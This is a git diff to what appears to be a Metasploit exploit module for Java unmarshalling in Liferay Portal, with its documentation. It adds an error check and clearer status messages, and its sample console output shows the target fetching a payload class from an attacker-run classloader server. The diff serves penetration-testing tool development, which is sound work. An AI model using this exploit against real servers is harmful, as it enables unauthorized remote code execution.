diff --git a/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md b/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md index 7dfa7ba43b..ecf3b48d1c 100644 --- a/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md +++ b/documentation/modules/exploit/multi/http/liferay_java_unmarshalling.md @@ -65,7 +65,8 @@ msf5 exploit(multi/http/liferay_java_unmarshalling) > run [+] The target appears to be vulnerable. Liferay 7.2.0 CE GA1 MAY be a vulnerable version. Please verify. [*] Using URL: http://0.0.0.0:8888/ [*] Local IP: http://192.168.1.3:8888/ -[*] Sending go-go-gadget for remote classloading +[+] Started remote classloader server at http://192.168.1.3:8888/ +[*] Unmarshalling remote classloader at http://127.0.0.1:8080/api/jsonws/expandocolumn/update-column [*] GET /Uphxohekruuokpedknflsriuafhrdsfk.class requested [+] Sending constructor class [*] GET /metasploit/Payload.class requested diff --git a/modules/exploits/multi/http/liferay_java_unmarshalling.rb b/modules/exploits/multi/http/liferay_java_unmarshalling.rb index a152248744..741ebfa789 100644 --- a/modules/exploits/multi/http/liferay_java_unmarshalling.rb +++ b/modules/exploits/multi/http/liferay_java_unmarshalling.rb @@ -104,7 +104,11 @@ class MetasploitModule < Msf::Exploit::Remote # Start our HTTP server to provide remote classloading @classloader_uri = start_service - print_status('Sending go-go-gadget for remote classloading') + unless @classloader_uri + fail_with(Failure::BadConfig, 'Could not start remote classloader server') + end + + print_good("Started remote classloader server at #{@classloader_uri}") send_request_gadget(normalize_uri( target_uri.path, @@ -113,6 +117,8 @@ class MetasploitModule < Msf::Exploit::Remote end def send_request_gadget(uri) + print_status("Unmarshalling remote classloader at #{full_uri(uri)}") + # https://github.com/liferay/liferay-portal/blob/master/portal-impl/src/com/liferay/portlet/expando/service/impl/ExpandoColumnServiceImpl.java vars_post = { 'columnId' => rand(8..42),